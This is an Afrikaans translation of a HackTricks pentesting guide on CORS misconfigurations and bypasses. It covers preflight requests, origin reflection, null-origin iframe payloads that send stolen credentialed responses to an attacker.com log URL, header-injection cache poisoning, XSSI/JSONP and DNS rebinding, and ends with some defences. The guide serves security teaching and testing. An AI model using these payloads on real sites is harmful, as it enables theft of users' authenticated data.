Afrikaans - Ht
HackTricks Training Twitter Linkedin Sponsor

CORS - Misconfigurations & Bypass

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

Wat is CORS?

Cross-Origin Resource Sharing (CORS) standaard stel bedieners in staat om te bepaal wie toegang tot hul bates kan verkry en watter HTTP-aanvraagmetodes toegelaat is vanaf eksterne bronne.

'n selfde-oorsprong beleid vereis dat 'n bediener wat 'n bron aanvra en die bediener wat die bron huisves, dieselfde protokol (bv., http://), domeinnaam (bv., internal-web.com), en poort (bv., 80) deel. Onder hierdie beleid word slegs webbladsye van dieselfde domein en poort toegelaat om toegang tot die bronne te verkry.

Die toepassing van die selfde-oorsprong beleid in die konteks van http://normal-website.com/example/example.html word as volg geïllustreer:

URL wat toegang verkry wordToegang toegelaat?

http://normal-website.com/example/

Ja: Identiese skema, domein, en poort

http://normal-website.com/example2/

Ja: Identiese skema, domein, en poort

https://normal-website.com/example/

Nee: Verskillende skema en poort

http://en.normal-website.com/example/

Nee: Verskillende domein

http://www.normal-website.com/example/

Nee: Verskillende domein

http://normal-website.com:8080/example/

Nee: Verskillende poort*

*Internet Explorer ignoreer die poortnommer in die afdwinging van die selfde-oorsprong beleid, wat toegang toelaat.

Access-Control-Allow-Origin Kop

Hierdie kop kan meervoudige oorspronge, 'n null waarde, of 'n wildkaart * toelaat. Tog, geen webblaaier ondersteun meervoudige oorspronge nie, en die gebruik van die wildkaart * is onderhewig aan beperkings. (Die wildkaart moet alleen gebruik word, en die gebruik daarvan saam met Access-Control-Allow-Credentials: true is nie toegelaat nie.)

Hierdie kop word uitgereik deur 'n bediener in reaksie op 'n kruis-domeinbronversoek wat deur 'n webwerf geïnisieer word, met die blaaier wat outomaties 'n Origin-kop byvoeg.

Access-Control-Allow-Credentials Kop

Standaard word kruis-oorsprongversoeke sonder geloofsbriewe soos koekies of die Autorisasie-kop gemaak. Tog kan 'n kruis-domeinbediener die lees van die antwoord toelaat wanneer geloofsbriewe gestuur word deur die Access-Control-Allow-Credentials-kop na true in te stel.

Indien dit na true ingestel word, sal die blaaier geloofsbriewe (koekies, outorisasiekoppe, of TLS-kliëntsertifikate) oordra.

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Voorafgaande versoek

Begrip van Voorafgaande Versoeke in Kruis-Domein Kommunikasie

Wanneer 'n kruis-domein versoek geïnisieer word onder spesifieke toestande, soos die gebruik van 'n nie-standaard HTTP-metode (enigiets anders as HEAD, GET, POST), die invoering van nuwe koppe, of die gebruik van 'n spesiale Inhouds-Tipe kopwaarde, kan 'n voorafgaande versoek benodig word. Hierdie voorlopige versoek, wat die OPTIONS metode benut, dien om die bediener in te lig oor die naderende kruis-oorsprong versoek se bedoelings, insluitend die HTTP metodes en koppe wat dit van plan is om te gebruik.

Die Cross-Origin Resource Sharing (CORS) protokol maak hierdie voorafgaande kontrole verpligtend om die uitvoerbaarheid van die versoekte kruis-oorsprong operasie te bepaal deur die toegelate metodes, koppe, en die betroubaarheid van die oorsprong te verifieer. Vir 'n gedetailleerde begrip van watter toestande die behoefte aan 'n voorafgaande versoek omseil, verwys na die omvattende gids wat deur Mozilla Developer Network (MDN) verskaf word.

Dit is noodsaaklik om daarop te let dat die afwesigheid van 'n voorafgaande versoek nie die vereiste vir die respons om magtigingskoppe te dra, ontkrak nie. Sonder hierdie koppe is die webblaaier onvermoënd om die respons van die kruis-oorsprong versoek te verwerk.

Oorweeg die volgende illustrasie van 'n voorafgaande versoek wat gemik is op die gebruik van die PUT metode saam met 'n aangepaste kop genaamd Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

In reaksie kan die bediener dalk koppe terugstuur wat die aanvaarde metodes, die toegelate oorsprong, en ander CORS-beleidsbesonderhede aandui, soos hieronder getoon:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

  • Access-Control-Allow-Headers: Hierdie kop aandui watter koppe tydens die werklike versoek gebruik kan word. Dit word deur die bediener ingestel om die toegelate koppe in versoek van die klient aan te dui.

  • Access-Control-Expose-Headers: Deur hierdie kop, informeer die bediener die klient oor watter koppe as deel van die respons blootgestel kan word, behalwe die eenvoudige responskoppe.

  • Access-Control-Max-Age: Hierdie kop dui aan hoe lank die resultate van 'n voorafgaande versoek gekas kan word. Die bediener stel die maksimum tyd, in sekondes, wat die inligting wat deur 'n voorafgaande versoek teruggegee word, hergebruik kan word.

  • Access-Control-Request-Headers: Gebruik in voorafgaande versoek, word hierdie kop deur die klient ingestel om die bediener in te lig oor watter HTTP-koppe die klient wil gebruik in die werklike versoek.

  • Access-Control-Request-Method: Hierdie kop, ook gebruik in voorafgaande versoek, word deur die klient ingestel om aan te dui watter HTTP-metode in die werklike versoek gebruik sal word.

  • Origin: Hierdie kop word outomaties deur die webblaaier ingestel en dui die oorsprong van die kruis-oorsprong versoek aan. Dit word deur die bediener gebruik om te beoordeel of die inkomende versoek toegelaat of geweier moet word op grond van die CORS-beleid.

Merk op dat gewoonlik (afhangende van die inhoudstipe en koppe wat ingestel is) in 'n GET/POST-versoek geen voorafgaande versoek gestuur word (die versoek word direk gestuur), maar as jy die koppe/liggaam van die respons wil benader, moet dit 'n Access-Control-Allow-Origin kop bevat wat dit toelaat. Daarom beskerm CORS nie teen CSRF nie (maar dit kan nuttig wees).

Plaaslike Netwerkversoeke Voorafgaande versoek

  1. Access-Control-Request-Local-Network: Hierdie kop is ingesluit in die versoek van die klient om aan te dui dat die navraag op 'n plaaslike netwerkbron gemik is. Dit dien as 'n merker om die bediener in te lig dat die versoek van binne die plaaslike netwerk afkomstig is.

  2. Access-Control-Allow-Local-Network: In reaksie gebruik bedieners hierdie kop om te kommunikeer dat die versoekte bron toegelaat word om gedeel te word met entiteite buite die plaaslike netwerk. Dit dien as 'n groen lig vir die deel van bronne oor verskillende netwerkgrense heen, wat beheerde toegang verseker terwyl sekuriteitsprotokolle gehandhaaf word.

'n geldige respons wat die plaaslike netwerkversoek toelaat moet ook in die respons die kop Access-Controls-Allow-Local_network: true hê:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Let wel dat die linux 0.0.0.0 IP werk om hierdie vereistes te omseil om toegang tot die plaaslike gasheer te verkry aangesien daardie IP-adres nie as "plaaslik" beskou word nie.

Dit is ook moontlik om die Plaaslike Netwerkvereistes te omseil as jy die openbare IP-adres van 'n plaaslike eindpunt gebruik (soos die openbare IP van die router). Want in verskeie gevalle, selfs as die openbare IP benader word, as dit vanaf die plaaslike netwerk is, sal toegang verleen word.

Uitbuitbare verkeerde konfigurasies

Daar is waargeneem dat die instelling van Access-Control-Allow-Credentials na true 'n voorvereiste is vir die meeste werklike aanvalle. Hierdie instelling maak dit vir die webblaaier moontlik om geloofsbriewe te stuur en die respons te lees, wat die aanval se doeltreffendheid verbeter. Sonder dit verminder die voordeel van 'n webblaaier wat 'n versoek uitreik bo die doen daarvan self, aangesien dit onprakties word om 'n gebruiker se koekies te benut.

Uitsondering: Uitbuiting van Netwerklokasie as Verifikasie

'n Uitsondering bestaan waar die slagoffer se netwerklokasie as 'n vorm van verifikasie optree. Dit maak dit moontlik vir die slagoffer se webblaaier om as 'n proksi gebruik te word, wat IP-gebaseerde verifikasie omseil om toegang tot intranet-toepassings te verkry. Hierdie metode deel ooreenkomste in impak met DNS-herbinding, maar is makliker om uit te buit.

Weerspieëling van Origin in Access-Control-Allow-Origin

Die werklike scenario waar die waarde van die Origin-kop in Access-Control-Allow-Origin weerspieël word, is teoreties onwaarskynlik as gevolg van beperkings op die kombineer van hierdie koppe. Nietemin kan ontwikkelaars wat CORS vir verskeie URL's wil aktiveer, moontlik die Access-Control-Allow-Origin-kop dinamies genereer deur die waarde van die Origin-kop te kopieer. Hierdie benadering kan kwesbaarhede inbring, veral wanneer 'n aanvaller 'n domein gebruik met 'n naam wat ontwerp is om legitiem te lyk, en sodoende die valideringslogika te mislei.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Uitbuiting van die null Oorsprong

Die null oorsprong, gespesifiseer vir situasies soos aanstuurders of plaaslike HTML-lêers, het 'n unieke posisie. Sommige toepassings plaas hierdie oorsprong op 'n witlys om plaaslike ontwikkeling te vergemaklik, wat onbedoeld enige webwerf toelaat om 'n null oorsprong na te boots deur 'n sandboks-iframe, wat sodoende CORS-beperkings omseil.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Gereelde Uitdrukkingsontduikingstegnieke

Wanneer 'n domeinwitlys aangetref word, is dit noodsaaklik om te toets vir ontduikinggeleenthede, soos die aanhegting van die aanvaller se domein aan 'n witlys-domein of die uitbuiting van subdomeinoornamekwesbaarhede. Daarbenewens mag gereelde uitdrukkings wat vir domeinvalidering gebruik word, subtiliteite in domeinnaamkonvensies oorsien, wat verdere ontduikinggeleenthede bied.

Gevorderde Gereelde Uitdrukkingsontduikings

Regex-patrone fokus tipies op alfanumeriese, punt (.), en koppelteken (-) karakters, waarby ander moontlikhede verwaarloos word. Byvoorbeeld, 'n domeinnaam wat geskep is om karakters in te sluit wat deur webblaaier en regex-patrone anders geïnterpreteer word, kan sekuriteitskontroles ontduik. Safari, Chrome, en Firefox se hantering van onderstreepkarakters in subdomeine illustreer hoe sulke teenstrydighede benut kan word om domeinvalideringslogika te omseil.

Vir meer inligting en instellings van hierdie ontduikingstoets: https://www.corben.io/advanced-cors-techniques/ en https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Vanaf XSS binne 'n subdomein

Ontwikkelaars implementeer dikwels verdedigingsmeganismes om teen CORS-uitbuiting te beskerm deur domeine wat toegelaat word om inligting aan te vra, op 'n witlys te plaas. Ten spyte van hierdie voorbehoud is die stelsel se sekuriteit nie waterdig nie. Die teenwoordigheid van selfs 'n enkele kwesbare subdomein binne die witgelyste domeine kan die deur oopmaak vir CORS-uitbuiting deur ander kwesbaarhede, soos XSS (Cross-Site Scripting).

Om dit te illustreer, oorweeg die scenario waar 'n domein, requester.com, witgelys is om hulpbronne van 'n ander domein, provider.com, te benader. Die bedienerkantkonfigurasie kan iets soos dit lyk:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

In hierdie opstelling word toegang toegelaat vir alle subdomeine van requester.com. Indien 'n subdomein, sê sub.requester.com, egter gekompromiteer word met 'n XSS kwesbaarheid, kan 'n aanvaller hierdie swakheid benut. Byvoorbeeld, 'n aanvaller met toegang tot sub.requester.com kan die XSS kwesbaarheid uitbuit om CORS beleide te omseil en sodoende hulpbronne op provider.com kwaadwillig te benader.

Bedienerkant-kasvergiftiging

Vanaf hierdie navorsing

Dit is moontlik dat deur bedienerkant-kasvergiftiging te benut deur middel van HTTP-kopinspuiting, 'n gestoorde Cross-Site Scripting (XSS) kwesbaarheid geïnduseer kan word. Hierdie scenario ontvou wanneer 'n aansoek versuim om die Origin-kop vir onwettige karakters te saniteer, wat 'n kwesbaarheid skep veral vir Internet Explorer- en Edge-gebruikers. Hierdie webblaaier behandel (0x0d) as 'n legitieme HTTP-kopafsluiter, wat lei tot HTTP-kopinspuitingskwesbaarhede.

Oorweeg die volgende versoek waar die Origin-kop gemanipuleer word:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer en Edge interpreteer die antwoord as:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

Terwyl dit nie prakties is om hierdie kwesbaarheid direk te benut deur 'n webblaaier 'n verkeerde kop te laat stuur nie, kan 'n geskepte versoek handmatig gegenereer word met behulp van gereedskap soos Burp Suite. Hierdie metode kan lei tot 'n bedienerkant-cache wat die antwoord stoor en dit onbedoeld aan ander dien. Die geskepte lading is daarop gemik om die karakterset van die bladsy te verander na UTF-7, 'n karakterenkodering wat dikwels geassosieer word met XSS-kwesbaarhede weens sy vermoë om karakters op 'n manier te enkode wat as skripsie in sekere kontekste uitgevoer kan word.

Vir verdere lees oor gestoorde XSS-kwesbaarhede, sien PortSwigger.

Nota: Die benutting van HTTP-kopinspuitingskwesbaarhede, veral deur bedienerkant-cachevergiftiging, beklemtoon die kritieke belang van die validering en sanitisering van alle gebruikersgelewerde insette, insluitend HTTP-koppe. Maak altyd gebruik van 'n robuuste sekuriteitsmodel wat insetvalidering insluit om sulke kwesbaarhede te voorkom.

Klientkant-cachevergiftiging

Van hierdie navorsing

In hierdie scenario word 'n instansie van 'n webbladsy waargeneem wat die inhoud van 'n aangepaste HTTP-kop reflekteer sonder behoorlike enkodering. Spesifiek reflekteer die webbladsy die ingeslote inhoud in 'n X-User-id-kop, wat kwaadwillige JavaScript kan insluit, soos gedemonstreer deur die voorbeeld waar die kop 'n SVG-beeldtag bevat wat ontwerp is om JavaScript-kode by die laai uit te voer.

Cross-Origin Resource Sharing (CORS) beleide maak die stuur van aangepaste koppe moontlik. Sonder dat die antwoord direk deur die blaaier weergegee word as gevolg van CORS-beperkings, mag die nut van so 'n inspuiting beperk lyk. Die kritieke punt ontstaan wanneer die blaaier se cache-gedrag oorweeg word. As die Vary: Origin-kop nie gespesifiseer word nie, word dit moontlik vir die kwaadwillige antwoord om deur die blaaier gestoor te word. Gevolglik kan hierdie gestoorde antwoord direk weergegee word wanneer na die URL genavigeer word, wat die behoefte aan direkte weergawe by die aanvanklike versoek omseil. Hierdie meganisme verbeter die betroubaarheid van die aanval deur kliëntkant-caching te benut.

Om hierdie aanval te illustreer, word 'n JavaScript-voorbeeld verskaf wat ontwerp is om uitgevoer te word in die omgewing van 'n webbladsy, soos deur 'n JSFiddle. Hierdie skripsie voer 'n eenvoudige aksie uit: dit stuur 'n versoek na 'n gespesifiseerde URL met 'n aangepaste kop wat die kwaadwillige JavaScript bevat. Na 'n suksesvolle versoek voltooiing, probeer dit na die teiken-URL navigeer, moontlik om die uitvoering van die ingeslote skripsie te veroorsaak as die antwoord gestoor is sonder behoorlike hantering van die Vary: Origin-kop.

Hier is 'n opgesomde uiteensetting van die gebruikte JavaScript om hierdie aanval uit te voer:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Oorweging

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, ook bekend as Cross-Site Script Inclusion, is 'n tipe kwesbaarheid wat voordeel trek uit die feit dat die Same Origin Policy (SOP) nie van toepassing is wanneer hulpbronne ingesluit word deur die skripsie-etiket nie. Dit is omdat skripte vanaf verskillende domeine ingesluit moet kan word. Hierdie kwesbaarheid stel 'n aanvaller in staat om enige inhoud wat ingesluit is deur die skripsie-etiket, te benader en te lees.

Hierdie kwesbaarheid word veral betekenisvol wanneer dit kom by dinamiese JavaScript of JSONP (JSON met Padding), veral wanneer omgewingsgesaginligting soos koekies gebruik word vir verifikasie. Wanneer 'n hulpbron vanaf 'n ander gasheer aangevra word, word die koekies ingesluit, wat dit vir die aanvaller toeganklik maak.

Om hierdie kwesbaarheid beter te verstaan en te verminder, kan jy die BurpSuite-inprop gebruik wat beskikbaar is by https://github.com/kapytein/jsonp. Hierdie inprop kan help om potensiële XSSI-kwesbaarhede in jou webtoepassings te identifiseer en aan te spreek.

Lees meer oor die verskillende tipes XSSI en hoe om dit te benut hier.

Probeer om 'n callback parameter by die versoek te voeg. Dalk is die bladsy voorberei om die data as JSONP te stuur. In daardie geval sal die bladsy die data terugstuur met Content-Type: application/javascript wat die CORS-beleid sal omseil.

Maklike (nuttelose?) omseiling

Een manier om die Access-Control-Allow-Origin-beperking te omseil, is deur 'n webtoepassing te versoek om namens jou 'n versoek te maak en die respons terug te stuur. Tog sal in hierdie scenario die geloofsbriewe van die finale slagoffer nie gestuur word nie aangesien die versoek na 'n ander domein gestuur word.

  1. CORS-escape: Hierdie instrument bied 'n proksi wat jou versoek saam met sy koppeurte stuur, terwyl dit ook die Oorsprong-kopieerder vervals om ooreen te stem met die versoekte domein. Dit omseil effektief die CORS-beleid. Hier is 'n voorbeeld van die gebruik met XMLHttpRequest:

  2. simple-cors-escape: Hierdie instrument bied 'n alternatiewe benadering tot die proksie van versoek. In plaas daarvan om jou versoek soos dit is deur te gee, maak die bediener sy eie versoek met die gespesifiseerde parameters.

Iframe + Popup Omseiling

Jy kan CORS-toetse omseil soos e.origin === window.origin deur 'n iframe te skep en van daar af 'n nuwe venster oop te maak. Meer inligting op die volgende bladsy:

pageIframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS-rebinding via TTL is 'n tegniek wat gebruik word om sekere sekuriteitsmaatreëls te omseil deur DNS-rekords te manipuleer. So werk dit:

  1. Die aanvaller skep 'n webbladsy en maak die slagoffer toegang daartoe.

  2. Die aanvaller verander dan die DNS (IP) van hul eie domein om na die slagoffer se webbladsy te verwys.

  3. Die slagoffer se blaaier stoor die DNS-antwoord, wat 'n TTL (Tyd om te Lewe) waarde kan hê wat aandui hoe lank die DNS-rekord as geldig beskou moet word.

  4. Wanneer die TTL verval, maak die slagoffer se blaaier 'n nuwe DNS-versoek, wat die aanvaller in staat stel om JavaScript-kode op die slagoffer se bladsy uit te voer.

  5. Deur beheer oor die IP van die slagoffer te behou, kan die aanvaller inligting van die slagoffer insamel sonder om enige koekies na die slagofferbediener te stuur.

Dit is belangrik om daarop te let dat blaaier kasheringmeganismes het wat dalk onmiddellike misbruik van hierdie tegniek kan voorkom, selfs met lae TTL-waardes.

DNS-rebinding kan nuttig wees om eksplisiete IP-toetse wat deur die slagoffer uitgevoer word, te omseil of vir scenario's waar 'n gebruiker of bot vir 'n lang tyd op dieselfde bladsy bly, wat die kassie laat verval.

As jy 'n vinnige manier nodig het om DNS-rebinding te misbruik, kan jy dienste soos https://lock.cmpxchg8b.com/rebinder.html gebruik.

Om jou eie DNS-rebindingbediener te hardloop, kan jy gereedskap soos DNSrebinder (https://github.com/mogwailabs/DNSrebinder) gebruik. Dit behels die blootstelling van jou plaaslike poort 53/udp, die skep van 'n A-rekord wat daarnaar verwys (bv., ns.example.com), en die skep van 'n NS-rekord wat na die vroeër geskepte A-subdomein verwys (bv., ns.example.com). Enige subdomein van die ns.example.com-subdomein sal dan deur jou gasheer opgelos word.

Jy kan ook 'n openbaar lopende bediener verken by http://rebind.it/singularity.html vir verdere begrip en eksperimentering.

DNS Rebinding via DNS-kas

'n Ander manier om die kasheringverdediging te omseil, is deur gebruik te maak van verskeie IP-adresse vir dieselfde subdomein in die DNS-leweransier. So werk dit:

  1. Die aanvaller stel twee A-rekords (of 'n enkele A-rekord met twee IP-adresse) op vir dieselfde subdomein in die DNS-leweransier.

  2. Wanneer 'n blaaier hierdie rekords nagaan, ontvang dit beide IP-adresse.

  3. As die blaaier besluit om eers die aanvaller se IP-adres te gebruik, kan die aanvaller 'n lading dien wat HTTP-versoeke na dieselfde domein uitvoer.

  4. Tog, sodra die aanvaller die slagoffer se IP-adres verkry, hou hulle op om op die slagoffer se blaaier te reageer.

  5. Die slagoffer se blaaier, nadat dit besef dat die domein nie reageer nie, gaan voort om die tweede gegee IP-adres te gebruik.

  6. Deur die tweede IP-adres te benader, omseil die blaaier die Same Origin Policy (SOP), wat die aanvaller in staat stel om dit te misbruik en inligting van die slagoffer te versamel en uit te voer.

Hierdie tegniek maak gebruik van die gedrag van blaaier wanneer verskeie IP-adresse vir 'n domein verskaf word. Deur die antwoorde strategies te beheer en die blaaier se keuse van IP-adres te manipuleer, kan 'n aanvaller die SOP uitbuit en inligting van die slagoffer toegang.

Let daarop dat om toegang tot die plaaslike gasheer te verkry, jy moet probeer om 127.0.0.1 in Windows en 0.0.0.0 in Linux te herbind. Verskaffers soos godaddy of cloudflare het my nie toegelaat om die ip 0.0.0.0 te gebruik nie, maar AWS route53 het my toegelaat om een A-rekord met 2 IP-adresse te skep waarvan een "0.0.0.0" is

Vir meer inligting kan jy https://unit42.paloaltonetworks.com/dns-rebinding/ raadpleeg.

Ander algemene omleidings

  • As interne IP's nie toegelaat word nie, kan hulle vergeet om 0.0.0.0 te verbied (werk op Linux en Mac)

  • As interne IP's nie toegelaat word nie, reageer met 'n CNAME na localhost (werk op Linux en Mac)

  • As interne IP's nie toegelaat word nie as DNS-antwoorde, kan jy CNAME's na interne dienste soos www.corporate.internal antwoord.

DNS Rebidding Gewapen

Meer inligting oor die vorige omleidings tegnieke en hoe om die volgende instrument te gebruik kan gevind word in die praatjie Gerald Doussot - Stand van DNS Rebinding Aanvalle & Singularity of Origin - DEF CON 27 Konferensie.

Singularity of Origin is 'n instrument om DNS rebinding aanvalle uit te voer. Dit sluit die nodige komponente in om die IP-adres van die aanvalbediener se DNS-naam te herbind na die teikenrekenaar se IP-adres en om aanvalspakkette te dien om kwesbare sagteware op die teikenrekenaar te benut.

Werklike Beskerming teen DNS Rebinding

  • Gebruik TLS in interne dienste

  • Versoek verifikasie om data te ontsluit

  • Valideer die Host-kop

  • https://wicg.github.io/private-network-access/: Voorstel om altyd 'n voorafgaande versoek te stuur wanneer openbare bedieners toegang tot interne bedieners wil hê

Hulpmiddels

Fuzz moontlike verkeerde konfigurasies in CORS beleide

Verwysings

Leer AWS hak van nul tot held met htARTE (HackTricks AWS Red Team Expert)!

Ander maniere om HackTricks te ondersteun:

PreviousCookie BombNextCRLF (%0D%0A) Injection

Last updated